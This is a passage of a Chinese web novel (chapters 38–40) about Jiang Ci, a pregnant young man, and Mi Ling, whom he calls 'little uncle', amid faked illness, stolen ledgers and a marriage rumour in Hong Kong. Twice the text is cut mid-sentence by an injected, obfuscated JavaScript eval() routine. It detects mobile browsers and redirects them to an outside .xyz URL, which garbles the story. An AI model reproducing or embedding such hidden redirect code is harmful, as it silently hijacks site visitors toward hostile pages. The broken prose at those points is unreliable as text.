“我真的很害怕,姜瓷,我害怕你会死。”他哑声说着,手指轻轻地发颤,细弱的震动通过皮肤传递过去,痒痒地拂着姜瓷脖颈。姜瓷半阖着眼帘又哭嚷了两声,一把勾住他肩膀抱紧了,喃喃地念:“阿岭,阿岭……” “宝宝,”糜岭偏头吻他,“小宝真乖……” 他心不在焉,睨着眼看糜岭,看他通红的眼眶和轻颤的睫毛。看够了,糜岭还没亲够,恋恋不舍地舔他唇角,拿过药碗,说:“舅舅喂你喝,不苦的,小宝勇敢点儿坚强点儿,好不好?” “嗯,阿岭……” 糜岭先喝一口药,再渡给他,趁机再吻他几下,就这么磨磨蹭蹭喝完了药,又拧了毛巾简单给他擦了擦身子,哄他睡觉。 他枕在糜岭胸膛上,糜岭想抱着他的腰,他不肯,执拗地要他把手按在小腹。 这一觉仍不怎么安稳,耳边总嗡嗡地有蚊子在叫,忍耐了一阵儿,还是睁了眼,看见糜岭站在床畔挂蚊帐,大约已是早晨了,窗外的天泛着冷冷的蟹壳青色,衬得他脸颊也苍青的,看起来尤为憔悴。 “小舅舅。”他揉了揉眼睛,伸手要糜岭抱。 糜岭把蚊帐掖好,重新躺下来抱着他,抚了抚他鼻梁一侧的位置,那儿一个被叮咬出的包,足足小拇指指甲盖那么大,牵扯得眼角处都高高肿着。 “真是只毒蚊子,偏偏咬你的脸。” 姜瓷捉着他手指往眼角蹭:“痒……” 糜岭就轻轻地抚了抚,说:“睡吧宝宝,再睡会儿,喝药的时候再叫你。舅舅说个故事给你听,好么?” “不好,”他拿手掌掩住糜岭眼睛,“我会很乖的,我会喝药,也听话,小舅舅也睡觉吧。” 糜岭把他软小的手再往眼睛上按了按,紧紧抱住了他。 38. 38 相信你 白日里,过了晌午,周盛业踏进糜公馆时,没有一个人出来迎他。 家里静悄悄的,佣人们大概都在午歇。他左右探了探头,看见白医生躺在客室沙发上打瞌睡,便冲进门去,一脚踹在他腿上,骂道:“你还有心情睡觉!” 白医生惊醒过来,抹了把脸,见是他,立刻拉着他坐下,说:“昨夜实在凶险,我熬了一宿,刚刚坐下想眯一眯,您就来了!不是说晚上才能得空么?” “你一个电话接一个地催,说情况危急,好像他马上要死了似的,我能不来么!到底怎么一回事!” “周先生,是这样。”他压低了声音,仿佛怕人偷听,四下扫一眼,看见糜岭不知何时站在了客室门口,便起身叫了声“糜先生”。 糜岭走进来,一言不发坐下了。周盛业见他面色沉郁,恐怕姜瓷真出了什么事情,急得涨红了脸,揪住白医生领子叫道:“快说!” 白医生挣开他的手,跌回沙发上,支支吾吾地道:“周先生,您要有心理准备,我瞧着……不大好了,至多还有一两个月。昨夜我来了这儿,进房一瞧,已经吐得满床都是血了!” 周盛业神色一滞,继而铁青起脸骂道:“庸医!前一阵送来的时候只说胃里有毛病,怎么现在竟要死了!” “这……我昨夜也是第一次来糜公馆,其中发生什么事情,您还得问糜先生。” 周盛业便死死瞪住糜岭,糜岭低头喝着茶,并不言语。周盛业更是怒火中烧,斥道:“好好一个人送到你这里来,变成现在这样,糜先生得给我一个说法!” “周处长随便去问一问,谁不说我对他仁至义尽。” “你——” 周盛业猛一跺脚,站起身要走,白医生连忙拉住他:“周先生去哪儿?” “滚开!我去瞧瞧他是不是真没命了!” “去不得!”白医生死死拽住他,“是肺痨,肺痨!传染上可就不好了!” “什么!果真?!” “周先生要是不信,尽管请别的医生来瞧。” 周盛业眯着眼审视他良久,冷哼一声:“我确实要再请别的医生来看,怎么胃里的毛病突然成了肺痨。” “周先生,他母亲就是因肺病死的,或许他也遗传了肺病,您想他平日里是不是动一动就气喘,咳个不停?这胃痛,大概是肺上病得太严重,已经传到胃里去了。您也知道他身体特殊,想来寿命也……” 周盛业气得头发昏,一抬脚踹翻了茶几,大步流星冲出门去了。 糜岭被溅了一身茶水,不在意地用手拂了拂,睨了白医生一眼。白医生抹了把额角的汗,试探地问:“糜先生,您要我说的我都说了,那么我妻子和孩子……我孩子还小,糜先生,求求您……” 糜岭幽幽应了一声,站起身往外走:“这一次辛苦你了,一会儿叫管家送你到醉生楼,你就与你家人好好吃顿饭,算在我的账上,另外书房里有两箱金条,算你的诊金,别忘了带走。” 他说完,顿住脚步,偏头又望一眼白医生,这才走出客室。 他端了药和吃食再回到房里,姜瓷已经醒了,大约又做噩梦了,伏在枕头上哭。 姜瓷听见动静回头看过来,糯糯地埋怨:“你去哪了呢,你说你不走的……” 他坐到床畔抱起他哄:“只是去拿药,现在不是回来了?不哭了小宝,一会儿眼睛该疼了,本来买了几本新书给你解解闷,眼睛痛,可就看不了了。” “那你可以读给我听的。” “好好,小宝说什么就是什么,”糜岭捧着他脸,“头抬一抬宝宝,我看看你的眼睛。” “这里好痒,也好痛。”他摸摸鼻梁处眼角旁的那个蚊子块,糜岭也跟着抚了一下,许是他睡觉时无意识抓过,有点儿破皮出血,肿得更大了,牵着眼角都发胀,红了一片。 “不能用手抓了,叫英嬅来一趟给你看看。” “白医生不是在吗?” “谁说的。” “可是我刚才好像听到他的声音。” 糜岭握一握他瘦弱的一把腰,犹豫片刻,还是决定先瞒着他,免得叫他心绪不宁胡思乱想,便说:“没有的事宝宝,昨夜他就走了。” “那他知不知道我……我生的什么病?”姜瓷紧握住他的手放在小腹,“他会告诉周盛业的,他没有告诉周盛业么?” 糜岭没答话,只说:“别想了宝宝,你现在什么都不用管,只要乖乖喝药,把身体养好要紧。其他事情舅舅会处理。” 姜瓷垂眼盯着小腹愣了会儿神,张了张嘴,欲言又止,在他肩膀上蹭蹭眼泪,抬起头凑近了,浅浅贴上他嘴唇,说:“好吧……那我要跟昨天那样喝药,你喂我喝。” 糜岭轻轻笑一笑,端起碗喝一口药,吻住了他。 他又吃了小半碗粥,这就打起哈欠来,躺下来睡了一阵儿,莫名地又惊醒了,以为糜岭又不在,可动了动,糜岭就从身后抱住他,亲了亲他后颈,柔声问:“怎么了?” “我好像听到周盛业在说话,他发好大的火,还摔东西。” “他不在这里,不怕,舅舅在这儿陪你呢,睡吧。” 他没应声,翻个身枕到他胸膛上,耷拉着眼睛,怎么都睡不着了。前一阵跟着糜岭下山的时候,周盛业叫他偷账本,可他一直病着,根本没把这件事放心上。数一数这都过去一两个月了,周盛业等不到他的消息,一定会来兴师问罪,到时该怎么交代? 他两手紧紧捂住肚子,他和糜岭有了宝宝……难道往后还要继续帮着周盛业给糜岭使绊子么? 他心里焦躁起来,更没有睡意了,翻来覆去折腾了一阵儿,糜岭搂紧他的腰不让他再动了,说:“睡不着么?眼睛痛?还是这儿痒?”他抚过那个蚊子包,拿指腹轻轻地蹭,又说:“点了蚊香烟太大,你闻着要咳嗽,家里几个驱蚊香囊是去年买的了,一股霉味,也用不了,今天管家有事要忙,明天一早,舅舅就让他去街上买几只新的回来,挂在床边,保证没有蚊子了。” 他眼眶又酸又热,吻了糜岭一下,说:“谢谢你小舅舅。” “好乖,睡吧。” 药堂里或许很忙,一直到晚上,英嬅都没能来公馆。睡前糜岭接到她的电话,说只有明天傍晚有空,那时候再过来。 第二天她却是天暗了才到的。那时珠宝店里的伙计正好来找糜岭谈事情,她便只在书房门口停了停。糜岭看见她正要打招呼,她也像是有话要说,可见有旁人在就没出声,不知为何阴沉着脸,瞪起眼睛扭头就走。糜岭在后面喊了她几声,她只当没听见,风风火火往房间去了。 姜瓷正躺在床上翻杂志,看见她就要坐起来,她连忙按住了,说:“你还是躺着,最好一直躺着,至少再养半个月才能下床。” 她还绷着脸,说话也粗声粗气。姜瓷打量着她神色,问:“发生什么事了姐姐?” 她抿着唇撇过头去,良久才说:“没什么,我得先问了糜岭到底怎么回事……” “问他……到底怎么了?” “你别打听了,只管养身体,不能掉以轻心,千万得注意,假如再流血或者肚子疼,马上给我打电话。好了,抬头,我瞧瞧你的脸,糜岭说你被蚊子咬了?这儿不是挂着香囊么,还挂了这么多,又有蚊帐。” “香囊昨天才买来的,这个包前几天就有了,小舅舅说肿的越来越大了,可能不是蚊子是虫子咬的。” 姜瓷仰起头,她左右看了看,又摸一下那肿块,说:“嗯,应该是,带着眼睛都肿了,快别看书了。不过也没什么要紧,弄点儿黄柏敷一敷,金银花也行,过两天就能好。我一会儿跟糜岭说一声。” 她垂下手来,从药箱里拿出一摞中药包,无名指上一只钻戒闪闪发亮。 “这是后面几天的药,挺重的,我就不拎来拎去了,放在这儿叫佣人来拿吧。” 姜瓷点点头,又看一眼她手上的戒指,敛了敛眉,说:“姐姐,你还是要和李先生结婚了?” 英嬅马上合起手掌掩住了戒指,沉默半晌,应道:“是,就是今晚的事,有点突然,我都吓了一跳,在醉生楼饭店,他跟我求婚的……小瓷,你跟我说的那些话,我当然想过,谁不想自由自在的呢,可是你想得太好太简单了……我有吝吝,我不可能丢下她一个人走,但假如我带着她离开,我们母女两个在外面势单力薄,一定落不着好。这世道就是这样,没有办法的……” 姜瓷垂着眼,轻轻勾了勾她手指,说:“我不是一定要你跟我一起走……你说的,我也知道,当初妈妈带着我就过得特别苦,有些人故意欺负她,克扣她的工钱,或者喝醉了闯到我们家里,我还拿木棍把一个醉鬼老头的脑袋砸了呢,后来他来找我们赔钱,我妈妈就站在他家门口又骂又哭又叫……她不闹,就有的是人来欺负我们。姐姐说得对,没有办法的……” 他叹了口气,把英嬅的手指搭在掌心,细细地看那个戒指:“妈妈跟我说,我还小的时候,大概五六岁,我们那儿弄堂口一个包子铺老板想娶她,但是那个人不想要我这个拖油瓶。妈妈就没答应嫁过去。本来她可以过很好的日子,至少是衣食无忧的日子……这个戒指很漂亮,反正姐姐好就行了,看起来李先生对你很大方的。” “嗯,他已经盘下一个店面给我开药馆了。” “真的么?这样很好。恭喜你姐姐。” “小瓷,”英嬅紧紧回握一下他的手,“那么你现在预备怎么办?你还是要走么?” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831057|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓷把手抽回来,摸向小腹,蜷了蜷身子,没有说话。 英嬅不知怎的比他还要不安,攥紧了手,又站起来在房里来回走了走,坐回床畔,似是下定决定要同他说什么了,然而一开口却只是劝他尽早把孩子的事告诉糜岭。 “你这幅样子,怎么回上海?另外你自己也说了,你母亲带着你讨生活多么辛苦——你别怪姐姐说话难听——保不准在上海你还是要走她的老路……更何况还有周盛业,他如何能让你走?至于糜岭,他确实对你——” 她忽然噎住了般停下来,脸憋得青紫,片刻后才又说:“你被虫子叮一下,他就火急火燎催我来,肯定是看重你的,如今这种境地了,你管他是不是拿你当替身,只要他对你好不就可以了么小瓷?对你我来说,哪有路可以给我们选,能往前走就是万幸了!你别钻牛角尖,就把怀孕的事告诉他,他不会不要这个孩子的,毕竟是他的血脉!你跟他说了,他一定回心转意——” “什么?回心……转意?”姜瓷疑心重重地望着她。 她抽了口气,连忙噤声,扭着头不敢与他对视,起身就要走。 姜瓷哪能放她,一把扯住她手臂:“姐姐,什么,是什么?你从进门的时候就想说了,是不是?” “我……我得先问过糜岭。” 英嬅顾及着他身体,没敢推他,轻轻扯了一下,还是被他死死拽着,僵持半晌,见他还是那一副犟牛似的劲儿,只好又坐下来,支支吾吾地说:“这件事还没有确认,说不定是假的,你听了,不要激动,好吗?” 他怔了怔:“那么……是和小舅舅有关的,对么?” “是……我刚才跟你说了,今晚我和李先生在醉生楼吃饭,他摆了好几桌宴席,李小姐当然也在了。” 姜瓷被吓着般缩起肩膀躲进了被子里。 “近来有一个小伙子在追求她,今天也在酒桌上。同桌的几个客人喝醉了,说起话来没分寸,开她和那小伙子的玩笑,说什么让他们也定下婚事,双喜临门如何如何……惹恼她了,她闹起来差点把桌子都掀了,同我们说……” “她说……说……糜岭已经向她求婚,还把戒指拿给我们看,”英嬅慢慢地讲着,一边打量他的神色,他半张脸都掩在被子里,只瞧见他颤动不休的一对睫毛,“你别急小瓷,保不准她自己随便捡了只戒指来骗我们,所以我刚才想先去向糜岭确认。” 姜瓷颤着嗓子闷声地应了一声。英嬅轻轻晃了晃他肩膀,叫了声“小瓷”,等了片刻,见他没有什么反应,只好起身出去了。 一出去,恰好碰见糜岭端了一盘水果走到房门这儿。两人便聊了起来。 姜瓷起先听到模模糊糊的说话声,很快是盘子摔碎的响动,然后糜岭厉声在说:“你同他讲这些干什么!” “到底有没有!”英嬅也叫起来了。 “有什么,能有什么!我就是死了都不会和她有牵扯!她发疯,你和她一起发疯!” 话音刚落,门嘭地被撞开了,姜瓷感觉面前掀起一阵风,糜岭那温热的手掌已经伸进被子里抚上他脸颊了。他扭头想躲,糜岭紧紧捧着不放,俯下身来,急促而火热的呼吸拂到他面庞上。 他像被火烧到了似的痛叫一声,拿手去挡糜岭的脸。糜岭顺势握住了一拽,把他两手都按到心口,捋开他颊上凌乱的头发,抵着他额头,说:“小宝,你听我说,绝对没有的事,前几日舅舅才给她介绍相亲的人选,又怎么会向她求婚,你自己想是不是?相信我宝宝,别动气,别哭了,肚子疼不疼?” 姜瓷摇摇头,只觉得揪心,肺里灼烫。他也知道他不能够动气,捧着肚子一个劲儿地深呼吸。 糜岭又说了许多哄劝的话。他垂着眼不愿与糜岭对视,只是细细地哽咽着掉眼泪,过了一阵儿,在又一次听糜岭说“相信我”之后,他啜泣道:“我也想,我也想相信你,可是我真的不会,我不敢……一开始,你说你只有我一个宝宝,你只会疼我,你说那些话,让我以为你是喜欢我的,可结果你把我当替代品,你爱的是别人,从那时候起,就没办法了……那么这是我的错么?是么?其实你一个正经人家的少爷,是绝不会爱上我这样一个娼妓的,是我痴心妄想,是我大错特错了。妈妈说栽过跟头要长教训,我要长教训,所以我现在真的没办法信你……你一定要我相信的话,你教教我吧,我要怎么做?” 糜岭像只野兽,在他头上咻咻地喘气,嘴唇蹭在鬓边,像随时要露出尖锐的牙齿一口咬下来。他吓得哆哆嗦嗦,挣了一下,糜岭竟轻易就退开了,直起身,只把他的手牵着裹在掌心里,仍那样沉重地喘息着望着窗外。 今夜的月亮是怎么一回事,那么黯淡那么血红,沉沉落在窗楞上。糜岭感觉眼睛酸涩得睁不开来。 39. 39 往事一瞬抛 梦中,糜岭也梦见那轮血月,在夜幕下仿佛一块猩红的炭,昏昏的月光烧下来,像飞溅出了火星和飞灰,烘得糜公馆前院的空气烫热。 院落中央一张藤椅,姜瓷躺在上面,刚洗完了澡,歪着脑袋把湿淋淋的头发搭在藤椅一侧,一手拨弄头发,一手摇着一柄蒲扇,啪嗒啪嗒地轻拍着腿赶蚊子,嘴里还哼着不知名的曲子。 他身上那件睡袍又短又紧,或者其实是他圆润丰肥,袖子箍得臂膀上一条红痕,溢出来的软肉晃晃颤颤。 糜岭走近了,握住他软暖的手臂,俯身吻他脸颊,说:“小心着凉,回去吧宝宝。” “可是院子里很热呀。” 他顿了顿嘴里哼唱的调子,扭着身子躲糜岭的手。糜岭还来闹他,他就拿扇子轻轻打过来。糜岭也不躲,说:“那么就听舅舅的话,我们回去了。” “我还要吹风。” “姜瓷,”糜岭沉了沉声音,“又不听话,到时生了病也是你自己吃苦。” 他撇撇嘴扭过了头,紧皱着眉,挣扎着要跳下藤椅去,有些恼怒地说:“你今天怎么回事呢?为什么叫我宝宝,为什么自称舅舅?姜瓷是谁?你把我认成别人了!” 糜岭愣了愣,猛然间惊骇不已,一把推开他,跌出去几步远,回过神来第一时间把吻过他的嘴唇擦了又擦,没再看过去,拿后背对着他,哑声说:“你……你不应该……” “不应该什么?你怎么了?为什么好像不认识我?我们都住在一起五年了呀!你难道不记得了?在那个舞厅里——” “不对!别说了!” 糜岭拨开面前的树丛,闷头扎进去,顷刻间一切声音都远去了,只剩树枝被噼啪踩断的响动。他拖着痛麻的右腿艰难走了一阵儿,忽然脚下一空,在一阵剧烈的失重感中,很是狼狈地从梦中惊醒了。 姜瓷竟没有睡在身畔。 他急匆匆找出去,寻到书房,看见姜瓷在翻书桌抽屉,不知道要找什么,地上散乱着纸笔和杂志书本,一片狼藉。 他静静看了一会儿,姜瓷还没有发觉他在门口,大约没找到想要的东西,便停了下动作,两手撑在额前,疲惫地沉沉叹了口气。 糜岭生怕突然出声吓着他,先用手杖弄出了些动静来,又敲了敲书房门。 姜瓷有一瞬间的慌乱,手臂挥下去打翻了桌角的墨水瓶。他躲了一下,但还是被溅了一身。盯着睡袍上那些墨渍,他忽然委顿下来,佝偻起背缩进椅子里,一副破罐子破摔的架势。 糜岭走到他身旁,倚在桌沿,轻轻摸他的头发,腻着汗,有点潮,但不同于梦里那人头发的潮。他躁动的心绪慢慢安定了下来,柔声问:“在找什么?” 姜瓷仿佛丢了魂,神色呆滞,沉默片刻,一五一十交代说:“周盛业叫我偷你的账本。你要结婚了……反正也没有其他路给我走了,我总归是要回金园的,假若不顺周盛业的意,在那边的日子只会更难过,而且他跟我说,我要是不把这件事办好,就永远不会让我下山,那么假如我办好了,说不定他会再让我下来。” 糜岭看着他煞白的嘴唇,干涩得起了皱纹,不自禁俯身吻了上去。姜瓷僵住了身子,活过来似的眨了眨眼睛。他看见糜岭下颌边一团红痕,是方才被抱着睡觉时,他的头发蹭在哪儿压出来的。他下意识抬手去摸,糜岭便偏头来吻他的手,叹息似的叫:“宝宝……” 姜瓷鼻子一酸,推了推他。他去抓书桌上电话,接通后对那头说:“明天早上把所有账本送过来。” “你——”姜瓷皱起眉,惊诧地瞪起了眼睛。 糜岭抬手抚弄他脸上那个蚊子块:“舅舅确实骗了你,早些时候白医生是还在公馆里,周盛业也来了。我叫他告诉周盛业,你得了绝症,没有多少日子了。等你病故,自然就摆脱周盛业的管束,之后的事,舅舅再想办法,或者为你造一个假身份,再做其他打算。没有告诉你,是因为你病得这么重,舅舅想让你安心先养身体。你今日说没办法相信我……假如我现在说的这些,宝宝也没办法相信,没有关系,那么你就把账本交给周盛业吧。” 他指腹软软柔柔地拂来拂去,蹭得那红肿的包愈发痒痛,牵着眼角也酸热起来。 姜瓷挥开他的手,抹掉了溢出来的一点儿泪,嘟囔道:“你昏头了么。我告诉你吧,不止账本,我还偷了库房的钥匙,悦来食府的大火就是我害的。” “不要紧宝宝。”糜岭声音还是那么平静柔和。 姜瓷愣了愣:“难道你早就知道?” “在山上他就要你从我这儿打探消息,到了山下也是一样,山下还自由些,他更要变本加厉地耍手段。” “你不生气么。” “你永远是我的好宝宝。” 姜瓷忽然自嘲地笑了笑:“我还特别担心你发现了之后会送我回金园,我害怕我会一直被关在山上。” “小宝,舅舅都把传家宝送出去,和周盛业几番周旋,就为了让你留在我这儿,怎么会让你回去……”糜岭俯身又亲他,自言自语地有些失落地说:“宝宝是真的不太相信我。” “当初我根本没有看过那封信,但是你怀疑我看了,就认定我要害你,那天圣诞夜,在花园亭子里,你跟张先生说,你再也不会去金园看我了,是不是呢?我什么都没做,你就不要我了,那我真正害你的时候,会觉得你知道一切后要和我断绝来往,也是理所当然的。而且……”他哽咽起来,眼睛一垂,泪水簌簌地落,“而且我分不清楚,送传家宝也好,哄我也好,带我出去玩也好,这些事是你为了‘姜瓷’做的,还是为了你喜欢的那个人做的。我这样说,小舅舅能懂么?” 糜岭掩住他潮润的眼睛,搂着他肩膀把他往怀里抱,说:“对不起宝宝,别哭了……那一次,在金园的池塘,你差点……我把你救上岸,从那时候起……就不一样了。” 姜瓷两臂紧紧环着他的腰,脸颊贴在他一边手臂上,哭着说:“不一样……对,确实不一样了。在那天之后,我决定我不要继续喜欢你了,你利用我满足你的幻想,那么我也利用你来离开金园。我跟周盛业说好了,我从你这儿偷钥匙给他,他让我住在山下。我一直告诉我自己,我要扮演好我的角色,一个乖巧的可以哄你开心的替身,一个为了达到目的而不择手段的无情的人……可是,我总是不乖,跟你吵架,摔东西,惹你生气,我当不好替身,我也做不到无情,你不在的时候我会特别想你,你每次看我的时候好像是在看别人的那种眼神,会让我特别难过,你和卿卿说话,你和李小姐见面,我嫉妒,我想要你只和我在一起。我提醒自己,不应该,不对,不可以,但是我做不到,我没办法不爱你——” 他抬了抬手攀住糜岭脖颈,仰起头看过去,糜岭的眼睛热红,炯炯逼视下来,两团野火般,在静谧的夜里沉痛地跳跃着。仿佛也没办法不爱他似的。 “阿岭,”他软声叫他,“这是我的不一样,你的不一样是哪一种?是自那之后没再把我当替身的不一样,还是仍旧把我当替代,但是你太喜欢那个人了,所以不管我这个赝品做什么事,即便是要害你,你都可以包容可以原谅?” “宝宝……” “你说啊,还是说哪一种都不是?” 糜岭顿了一顿,这短短一刹那,在姜瓷眼里仿佛已是永恒,已是另一种意义上的回答了。所以当糜岭就要开口时,他心灰意冷地说:“算了,我……我好累,我回去睡觉了。” 他还没站起身,糜岭先动,走到书架前,从最高那一层抽出了一本烫金封皮的书,大约很久没有被翻动了,被这样抓握着拿起来,书封面上飘出薄薄一层灰。 “你干什么?这个时候还看书么?”姜瓷说。 糜岭不言语,翻开书页,从里面抽出一张巴掌大的小像来。姜瓷皱起眉撇过头,可余光还是不禁往那儿瞟。这是他第一次这么近地打量这张小像,原来并不是相片,而是一幅半身肖像画,纸张已经泛黄,颜色也淡褪,模模糊糊晕在一起,依稀能辨出画上人的五官,确实与他极为相像,那人的身形与衣服已经瞧不清楚,只是朦胧的一片青白色。 糜岭拉开书桌抽屉,一边翻找着什么,一边说:“我和你说过,我只见过他一面,后来找了画师来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831058|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画了这幅肖像。我以为很快能找到他,就和我父亲说非他不娶。谁知道千方百计寻找不到,又必须给我爸一个交代,只好说他留了封信走了。这张小像是我有的唯一与他相关的东西。” 姜瓷闭了闭眼睛,啜泣一声,颤巍巍起身,说:“好,你的意思我明白了,我知道你不喜欢我了,你大可以直说,何必在我面前回忆和他的往事!我真的要回去睡觉了!” 糜岭一把拽住他,也不解释,又在抽屉里摸索了一阵,终于寻出一盒火柴,抽出一根来擦燃。他把那小小的跃动的火苗,对上了那张小像,顷刻间,那肖像就在桌上化成了一片灰黑的齑粉。 姜瓷怔愣着还没反应过来,糜岭随手掸掉那些飞灰,抱他到怀里,说:“我讲的话,你都不信,那么我做给你看,这样小宝能不能懂?” “什……什么……” “不要急宝宝,往后我们还有很多时间,你不用听我说什么,只要看着我就好,看我是不是在骗你。关于我向李小姐求婚的事情,舅舅也一定给你一个交代。我要结婚,也只和你结婚——” “你说谎!你说谎!”姜瓷忽然惊恐地尖叫起来,却扑向他,紧紧搂住他脖颈,两腿发软站都站不住,直往下掉。 糜岭抓着他的腰往上抱了抱,主动地把手掌托住他小腹,抵着他额头轻轻地唤:“宝宝,这一句话,就算你不信,我也还是要说,我和你结婚,等再过一阵子,瞒住了周盛业,我们就结婚,我们到国外去度蜜月,或者你想回上海,我们就去上海玩,好不好?别哭了,一直哭,一会儿又喘不上气,又要肚子疼,现在疼不疼?别哭了宝宝……” 他说着吻住了姜瓷,姜瓷抽泣着,口齿不清地说:“疼……你摸摸……” 糜岭就轻轻抚了抚他小腹,拦腰抱起他,带他回房间去。他把糜岭的手杖搂在胸前,让握柄抵在唇边,仿佛在对它哭诉般啰啰嗦嗦地说:“不能……英嬅姐姐说不能下床走路,我走路了,怎么办……但是我好着急好害怕,再不给周盛业账本的话……呜呜……我不想你和李小姐结婚,也不想回金园……我不想再和别的男人……而且我也不能和别人——” 他把手往小腹上一捂,抿紧了唇。 糜岭皱着眉也瞥向他小腹,哄劝道:“不能什么?说给舅舅听听,不要紧的宝宝。” “我、我……” “那么小宝想说的时候再说吧。” “我害怕,阿岭……” “我们回去躺着就好了,没事的。” 进了房间,糜岭放下他,哄他喝了点水,躺下来抱着他睡觉的时候,才发现窗外已露出薄白的晨光。 这一抬眼一低头的功夫,姜瓷就已经睡着了。他没有睡意,一闭上眼睛,耳边就震荡起自己剧烈的心跳声。他摸着姜瓷小腹,看他把手搭在鼻梁旁那个肿块上,很不舒服的样子,便轻手轻脚下了床。时间还很早,佣人们都没起床,药铺大约也没开门,买不到黄柏。依稀记得院子里有栽金银花,换了鞋去寻,摘了满满一竹筐。天光也已经大亮了。 在厨房里捣碎金银花的时候,有两个老妈子在煮早饭煎药。他嘱咐不要扔掉药渣,拿去交给管家。 吃过早饭,管家已经带着药渣回来,向糜岭报告情况。他冷汗涔涔,打量着糜岭神色,支吾着说:“怕给人知道,寻了一家偏僻的小药铺问的,那儿的郎中许是糊涂了,说这是……” “什么?”糜岭沉声逼问。 “是……安胎药……”管家声如蚊蚋。 糜岭一霎时心如擂鼓,再问:“你说什么?” 管家正要回答,他却猛地站起身冲出门去了。 回到房里,他见姜瓷睡得熟,不忍心叫醒他,压抑着翻涌震荡的心绪,把包在纱布里的金银花往他脸上敷,可手实在抖得厉害,指尖直直往下一戳,还是吵醒了姜瓷。 姜瓷朦朦胧胧眨着眼睛,见是他,很乖顺地把脸往他掌心贴,耷拉着眼皮又要睡过去,喃喃说:“你别走……” 糜岭小心翼翼吻他一下:“放心宝宝,你醒的时候,我一定还在这儿……我一直在……” 40. 40 醉花阴 等糜岭联系上李先生,想请他劝说李小姐亲自澄清求婚一事时,李小姐却已经离开香港前往广州了。传言发酵起来,逐渐满城皆知。 李先生代李小姐到糜公馆道歉,说她虽自知犯下大错,可她一向性子顽劣,挨了打骂还不肯低头,若是一再逼迫她,不知还又要生出什么事端,于是只能安排她避风头去了。 糜岭更加窝火,她倒是甩手走了,留他一个人焦头烂额。在外头,不管碰见什么人,都向他道声“恭喜”,或是调侃或是奉承或是揶揄,叫他有嘴都说不清;在家里,姜瓷怀着孕,尤为敏感不安,一见他晚归就疑心,为此不知哭过多少次。可也只是哭一哭而已,不吵也不闹,对着糜岭,仿佛已经没有多的话可以说了。 这期间,周盛业几番来访,带着不同的医生查探姜瓷的病情。一位中医,号称是某某中医大师的得意门生,两位西医,是仁爱医院和圣玛丽医院的肺科主任。 周盛业能想到请动他们,糜岭当然也想到了,事先打点好了一切。几位医生来瞧过后,都口径一致,向周盛业交代说姜瓷患了不治之症。 周盛业似乎仍不大相信,有一日深夜突然造访公馆,带了七八个配枪的警员,说要立刻带姜瓷回去。 那时糜岭恰好在书房办公,听见动静走出来时,他们已经堵在卧室门前了。管家也领着几个高大的家丁挤在走廊里,两边各说各话,闹哄哄乱成一团。 糜岭担心姜瓷被吓着,正要开口劝阻,忽然卧房门被推开,走出来一个老妈子,她脸上系着绵口罩,手里端一个脸盆,盆中几块帕子,都染了血,浸得水都发红。 那老妈子没料到门外挤着这许多人,吓了一跳,手一抖便把脸盆翻了,恰恰好泼了周盛业一身,一张帕子飞出去,正拍在他下巴上。 一时间场面更混乱了。周盛业大叫着重重跌在地上,他那几个手下都不敢去扶,躲得远远的,管家还在一旁添油加醋地喊道:“不得了了!那水是不是吃进嘴里了!传染上了要出人命的!” 周盛业脸色煞白,手忙脚乱地去抹脸上的血水,整个人哆哆嗦嗦坐都坐不住了,瘫软在地上喘着粗气。警员们不愿意碰他,最后还是家丁抬他坐上了车。 他被这么一吓,病了一个多月不能下床,也没再来过公馆,应该是彻底相信姜瓷生了重病。 可他到底还惦记着陈家的珠宝市场,使唤不了姜瓷,又寻别的办法。 接连几日,光天化日之下,陈家在各处的店面都被匪徒抢劫;又是几个管事的掌柜被拖进暗巷里一顿毒打,一位账房先生还吃了枪子;再是税务局的人带着警员闯进店里,指责糜岭是偷税漏税的嫌犯,借着彻查的由头,终究还是拿走了所有的账本。 一番动作,几乎是明面上与陈家对着干。原本姜瓷被周盛业握在手里,糜岭不得不隐忍谨慎,现下没了顾虑,也就放开了手脚。 又隔几日,周盛业情妇开的那家钱氏珠宝行因卖假货而被取缔贴了封条。那情妇大喊冤枉,不知从哪儿听说是周盛业夫人在背后作乱,跑去大闹一场。 周盛业夫人得知了情妇的存在,气病过去,在家里又是要割手又是要上吊,有一日真吞下了一整瓶安眠药,好在及时送医救了回来。出了这样的事,原定在春天的周茂飞与卿卿的订婚宴只能往后推迟了。 家里鸡犬不宁,工作上更是叫周盛业糟心。城中忽然掀起一场他这个警务处长贪污腐败的舆论,许是有心人在其中煽动,一些年轻气盛的学生和百姓闹了几次暴动,甚至闯进他家里去打砸。上头担心事情会一发不可收拾,便暂时停了他的职。 忙乱的一段日子过去后,香港潮热的雨季轰轰烈烈登场了。 周茂飞和卿卿的婚事终于提上日程,原本的订婚宴直接改为了结婚喜宴。宴会帖子递到家里来的时候是晚上,那会儿姜瓷躺在客室沙发上看报纸,听见门口有动静,还以为是糜岭回来了,正要起身出去,管家走进来把帖子给了他。 他盯着封面上硕大的“囍”字沉默半晌,重新看起报纸来。又过了一阵儿,似乎听到外头有车声,还是走出瞧,正看见糜岭踏进院子里。 糜岭远远喊了声,叫他别过来,他还是跑了出去,扑进糜岭怀里,软声叫道:“小舅舅……” 